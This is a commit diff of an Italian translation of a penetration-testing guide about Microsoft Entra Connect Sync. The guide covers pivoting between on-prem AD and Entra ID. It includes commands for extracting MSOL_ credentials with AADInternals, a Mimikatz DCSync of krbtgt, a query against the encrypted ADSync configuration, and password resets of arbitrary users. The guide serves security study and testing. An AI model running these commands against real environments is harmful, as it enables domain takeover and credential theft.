Translated ['', 'src/pentesting-cloud/azure-security/az-lateral-movement

This commit is contained in:
Translator
2025-08-25 21:26:45 +00:00
parent 3f02522cd3
commit 30cb38f7a5

View File

@@ -4,61 +4,65 @@
## Informazioni di base
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) I servizi di sincronizzazione Microsoft Entra Connect (Microsoft Entra Connect Sync) sono un componente principale di Microsoft Entra Connect. Si occupa di tutte le operazioni relative alla sincronizzazione dei dati di identità tra il tuo ambiente on-premises e Microsoft Entra ID.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) è un componente principale di Microsoft Entra Connect. Si occupa di tutte le operazioni relative alla sincronizzazione dei dati di identità tra il tuo ambiente on-premises e Microsoft Entra ID.
Il servizio di sincronizzazione è composto da due componenti, il componente on-premises **Microsoft Entra Connect Sync** e la parte lato servizio in Microsoft Entra ID chiamata **Microsoft Entra Connect Sync service**.
Per usarlo, è necessario installare l'agente **`Microsoft Entra Connect Sync`** su un server all'interno del tuo ambiente AD. Questo agente sarà quello che si occuperà della sincronizzazione dal lato AD.
Per utilizzarlo, è necessario installare l'agente **`Microsoft Entra Connect Sync`** in un server all'interno del tuo ambiente AD. Questo agente si occuperà della sincronizzazione dal lato AD.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
Il **Connect Sync** è fondamentalmente il modo "vecchio" di Azure per **synchronizzare gli utenti da AD in Entra ID.** Il nuovo modo raccomandato è utilizzare **Entra Cloud Sync**:
Il **Connect Sync** è fondamentalmente il modo "vecchio" di Azure per **sincronizzare gli utenti da AD verso Entra ID.** Il modo raccomandato ora è usare **Entra Cloud Sync**:
{{#ref}}
az-cloud-sync.md
{{#endref}}
### Principali generati
### Principals generati
- L'account **`MSOL_<installationID>`** viene creato automaticamente nell'AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**.
- Ciò significa che chiunque comprometta questo account sarà in grado di compromettere il dominio on-premise.
- Un account di servizio gestito **`ADSyncMSA<id>`** viene creato nell'AD on-prem senza privilegi speciali di default.
- In Entra ID, il Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** viene creato con un certificato.
- L'account **`MSOL_<installationID>`** viene creato automaticamente nell'AD on-prem. A questo account viene assegnato il ruolo **Directory Synchronization Accounts** (vedi [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) il che significa che ha **permessi di replication (DCSync) nell'AD on-prem**.
- Questo significa che chiunque comprometta questo account potrà compromettere il dominio on-premise.
- Viene creato un managed service account **`ADSyncMSA<id>`** nell'AD on-prem senza privilegi speciali di default.
- In Entra ID viene creato il Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** con un certificato.
## Sincronizzare le password
## Sincronizzazione delle password
### Sincronizzazione dell'hash della password
### Password Hash Synchronization
Questo componente può essere utilizzato anche per **synchronizzare le password da AD in Entra ID** in modo che gli utenti possano utilizzare le loro password AD per connettersi a Entra ID. Per questo, è necessario consentire la sincronizzazione dell'hash della password nell'agente Microsoft Entra Connect Sync installato in un server AD.
Questo componente può essere usato anche per **sincronizzare le password da AD verso Entra ID** così gli utenti potranno usare le loro password AD per connettersi a Entra ID. Per questo è necessario abilitare la sincronizzazione degli hash delle password nell'agente Microsoft Entra Connect Sync installato su un server AD.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione dell'hash della password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** è uno dei metodi di sign-in usati per realizzare l'hybrid identity. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza Azure AD basata su cloud.
Fondamentalmente, tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem a Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati a Azure AD.
Fondamentalmente, tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem ad Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati ad Azure AD.
La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, per impostazione predefinita, **la scadenza della password** e **la scadenza dell'account** **non vengono sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** utilizzando la vecchia password.
La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, di default, la **scadenza della password** e la **scadenza dell'account** non vengono **sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** usando la vecchia password.
Quando un utente on-prem vuole accedere a una risorsa Azure, **l'autenticazione avviene su Azure AD**.
Quando un utente on-prem vuole accedere a una risorsa Azure, l'**autenticazione avviene su Azure AD**.
> [!NOTE]
> Per impostazione predefinita, gli utenti di gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che hanno privilegi elevati assegnati direttamente **possono essere sincronizzati**.
> Di default gli utenti appartenenti a gruppi privilegiati noti come Domain Admins con l'attributo **`adminCount` impostato a 1 non vengono sincronizzati** con Entra ID per motivi di sicurezza. Tuttavia, altri utenti che fanno parte di gruppi privilegiati senza questo attributo o che hanno privilegi elevati assegnati direttamente **possono essere sincronizzati**.
### Scrittura della password
Questa configurazione consente di **synchronizzare le password da Entra ID in AD** quando un utente cambia la propria password in Entra ID. Nota che per il funzionamento della scrittura della password, l'utente `MSOL_<id>` generato automaticamente nell'AD deve essere autorizzato [a ricevere più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**.
### Password Writeback
Questo è particolarmente interessante per compromettere l'AD da un Entra ID compromesso poiché sarai in grado di modificare la password di "quasi" qualsiasi utente.
Questa configurazione consente di **sincronizzare le password da Entra ID verso AD** quando un utente cambia la propria password in Entra ID. Nota che per far funzionare il password writeback l'utente `MSOL_<id>` creato automaticamente nell'AD deve ricevere [più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**.
Gli amministratori di dominio e altri utenti appartenenti a gruppi privilegiati non vengono replicati se il gruppo ha l'attributo **`adminCount` a 1**. Ma altri utenti che sono stati assegnati privilegi elevati all'interno dell'AD senza appartenere a nessuno di questi gruppi potrebbero avere la loro password cambiata. Ad esempio:
Questo è particolarmente interessante per compromettere l'AD partendo da un Entra ID compromesso, poiché sarai in grado di modificare la password di "quasi" qualsiasi utente.
- Utenti assegnati privilegi elevati direttamente.
I Domain Admins e altri utenti appartenenti ad alcuni gruppi privilegiati non vengono replicati se il gruppo ha l'**attributo `adminCount` impostato a 1**. Ma altri utenti a cui sono stati assegnati privilegi elevati all'interno dell'AD senza appartenere a uno di questi gruppi potrebbero vedere la loro password modificata. Per esempio:
- Utenti a cui sono stati assegnati privilegi elevati direttamente.
- Utenti del gruppo **`DNSAdmins`**.
- Utenti del gruppo **`Group Policy Creator Owners`** che hanno creato GPO e li hanno assegnati a OUs saranno in grado di modificare le GPO che hanno creato.
- Utenti del **`Cert Publishers Group`** che possono pubblicare certificati in Active Directory.
- Utenti di qualsiasi altro gruppo con privilegi elevati senza l'attributo **`adminCount` a 1**.
- Utenti del gruppo **`Group Policy Creator Owners`** che hanno creato GPO e li hanno assegnati ad OU potranno modificare i GPO che hanno creato.
- Utenti del gruppo **`Cert Publishers Group`** che possono pubblicare certificati in Active Directory.
- Utenti di qualsiasi altro gruppo con privilegi elevati senza l'**attributo `adminCount` impostato a 1**.
## Pivoting AD --> Entra ID
### Enumerare Connect Sync
### Enumerating Connect Sync
Controlla gli utenti:
Verificare gli utenti:
```bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
@@ -76,25 +80,25 @@ $searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
```
Controlla la **configurazione di Connect Sync** (se presente):
Verifica la **Connect Sync configurazione** (se presente):
```bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
```
### Trovare le password
Le password dell'**`MSOL_*`** utente (e dell'**Sync\_\*** utente se creato) sono **memorizzate in un server SQL** sul server dove **Entra ID Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
Le password dell'utente **`MSOL_*`** (e dell'utente **Sync\_\*** se creato) sono **memorizzate in un SQL server** sul server dove è installato **Entra ID Connect.** Gli admin possono estrarre le password di questi utenti privilegiati in chiaro.\
Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
È possibile estrarre la configurazione da una delle tabelle, una delle quali è cifrata:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configurazione criptata** è criptata con **DPAPI** e contiene le **password dell'`MSOL_*`** utente in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste è possibile effettuare privesc su AD e AzureAD.
La **configurazione cifrata** è cifrata con **DPAPI** e contiene le **password dell'utente `MSOL_*`** nell'on-prem AD e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste credenziali è possibile privesc all'AD e ad AzureAD.
Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg).
Trovi un [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Abusare di MSOL\_*
### Abuso di MSOL\_\*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
@@ -112,11 +116,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Gli attacchi precedenti hanno compromesso l'altro password per poi connettersi all'utente Entra ID chiamato `Sync_*` e poi compromettere Entra ID. Tuttavia, questo utente non esiste più.
> Attacchi precedenti hanno compromesso l'altra password per poi connettersi all'utente Entra ID chiamato `Sync_*` e successivamente compromettere Entra ID. Tuttavia, questo utente non esiste più.
### Abusare di ConnectSyncProvisioning_ConnectSync\_<id>
Questa applicazione è creata senza avere alcun ruolo di gestione di Entra ID o Azure assegnato. Tuttavia, ha le seguenti autorizzazioni API:
### Abuso di ConnectSyncProvisioning_ConnectSync\_<id>
Questa applicazione è stata creata senza avere ruoli di gestione Entra ID o Azure assegnati. Tuttavia, ha le seguenti autorizzazioni API:
- Microsoft Entra AD Synchronization Service
- `ADSynchronization.ReadWrite.All`
@@ -125,21 +130,20 @@ Questa applicazione è creata senza avere alcun ruolo di gestione di Entra ID o
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Si menziona che lo SP di questa applicazione può ancora essere utilizzato per eseguire alcune azioni privilegiate utilizzando un'API non documentata, ma finora non è stata trovata alcuna PoC a mia conoscenza.\
In ogni caso, pensando che ciò possa essere possibile, sarebbe interessante esplorare ulteriormente come trovare il certificato per accedere come questo service principal e provare ad abusarne.
Si segnala che lo SP di questa applicazione può ancora essere utilizzato per eseguire alcune azioni privilegiate tramite un'API non documentata, ma a quanto ne so non è stato ancora trovato alcun PoC.\ In ogni caso, ritenendo possibile questa ipotesi, sarebbe interessante esplorare come trovare il certificato per autenticarsi come questo service principal e provare ad abusarne.
Questo [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) è stato pubblicato poco prima del passaggio dall'uso dell'utente `Sync_*` a questo service principal, spiegando che il certificato era memorizzato all'interno del server e che era possibile trovarlo, generare PoP (Proof of Possession) di esso e token grafico, e con questo, essere in grado di aggiungere un nuovo certificato al service principal (perché un **service principal** può sempre assegnare a se stesso nuovi certificati) e poi usarlo per mantenere la persistenza come SP.
Questo [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) pubblicato poco dopo il passaggio dall'uso dell'utente `Sync_*` a questo service principal, spiegava che il certificato era memorizzato sul server ed era possibile trovarlo, generare il PoP (Proof of Possession) di esso e un graph token, e con questi poter aggiungere un nuovo certificato al service principal (perché un **service principal** può sempre assegnarsi nuovi certificati) e poi usarlo per mantenere la persistenza come SP.
Per eseguire queste azioni, sono pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Per eseguire queste azioni sono stati pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Dalla mia esperienza, il certificato non è più memorizzato nel luogo in cui il precedente strumento lo cercava, e quindi, lo strumento non funziona più. Potrebbe essere necessaria ulteriore ricerca.
Secondo [questa domanda](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), per trovare il certificato è necessario eseguire lo strumento da un processo che ha **rubato il token del processo `miiserver`**.
### Abusare di Sync\_\* [DEPRECATED]
### Abuso di Sync\_\* [DEPRECATED]
> [!WARNING]
> In precedenza, un utente chiamato `Sync_*` era stato creato in Entra ID con permessi molto sensibili assegnati, che consentivano di eseguire azioni privilegiate come modificare la password di qualsiasi utente o aggiungere una nuova credenziale a un service principal. Tuttavia, dal gennaio 2025, questo utente non viene più creato per impostazione predefinita poiché ora viene utilizzato l'Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Tuttavia, potrebbe essere ancora presente in alcuni ambienti, quindi vale la pena controllarlo.
> In precedenza veniva creato un utente chiamato `Sync_*` in Entra ID con permessi molto sensibili assegnati, che permettevano di eseguire azioni privilegiate come modificare la password di qualsiasi utente o aggiungere una nuova credenziale a un service principal. Tuttavia, da Jan2025 questo utente non viene più creato di default poiché ora viene utilizzata l'Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Può comunque essere presente in alcuni ambienti, quindi vale la pena verificarne la presenza.
Compromettere l'account **`Sync_*`** rende possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali)
Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi i Global Administrators)
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -163,7 +167,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato)
È anche possibile **modificare le password solo degli utenti cloud** (anche se può essere inaspettato)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
@@ -172,14 +176,14 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
È anche possibile estrarre la password di questo utente.
È anche possibile ottenere la password di questo utente.
> [!CAUTION]
> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, che l'utente **Sync** ha **permessi** per fare, e poi **accedere a quel service principal** come modo di privesc.
> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, cosa che l'utente **Sync** ha i **permessi** per fare, e poi **accedere a quel service principal** come metodo di privesc.
### Seamless SSO
È possibile utilizzare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Controllalo in:
È possibile usare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Verifica in:
{{#ref}}
az-seamless-sso.md
@@ -187,8 +191,8 @@ az-seamless-sso.md
## Pivoting Entra ID --> AD
- Se la scrittura della password è abilitata, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID.
- Se la scrittura dei gruppi è abilitata, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD.
- Se password writeback è abilitato, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID.
- Se groups writeback è abilitato, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD.
## Riferimenti